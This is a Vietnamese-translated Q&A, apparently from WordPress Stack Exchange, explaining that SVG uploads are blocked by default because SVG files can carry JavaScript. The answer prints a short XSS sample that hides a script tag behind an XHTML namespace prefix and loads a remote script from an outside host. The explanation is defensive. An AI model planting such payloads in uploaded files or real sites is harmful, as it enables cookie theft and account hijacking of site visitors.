Vì lý do bảo mật nào mà các Svss bị chặn trong trình tải lên phương tiện truyền thông?


15

Tôi thấy rằng các SVG bị chặn theo mặc định trong trình tải lên phương tiện và bạn phải thêm nó dưới dạng loại MIME được hỗ trợ trong hàm.php. Những lý do bảo mật đằng sau này?

Câu trả lời:


17

SVG có thể chứa JavaScript . JavaScript có thể được sử dụng để chiếm quyền điều khiển cookie hoặc thực hiện các hành động đáng ngờ khác . Nó thậm chí có thể được "ẩn" trong không gian tên:

<html xmlns="http://www.w3.org/1999/xhtml">
   <ø:script src="//0x.lv/" />
</html>

nguồn

Rất khó để lọc ra trong quá trình tải lên, vì vậy nó chỉ không được phép theo mặc định.


Tôi nghĩ rằng quan điểm của không gian tên là để tránh xung đột tên thẻ, có nghĩa là ø:scriptkhông nên xử lý scriptvà do đó không nên làm gì. Điều gì khiến ø:scriptthẻ không gian tên được coi là scriptthẻ không được đặt tên ? Hay các SVG cũng cho phép nhúng các trình phân tích cú pháp XML không phải là JS?
JAB

@JAB không gian tên http://www.w3.org/1999/xhtmllàm cho thể hiện tập lệnh này tương đương với tập lệnh thông thường.
fuxia

Ồ, giờ thì tôi đã hiểu. Không gian tên ẩn cho các thẻ HTML là http://www.w3.org/1999/xhtml, vì vậy bạn có thể tạo tham chiếu đến URL đó và sử dụng nó làm tiền tố không gian tên cho các thẻ đó và trình phân tích cú pháp XHTML sẽ xử lý chúng như các thẻ thông thường.
JAB
Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.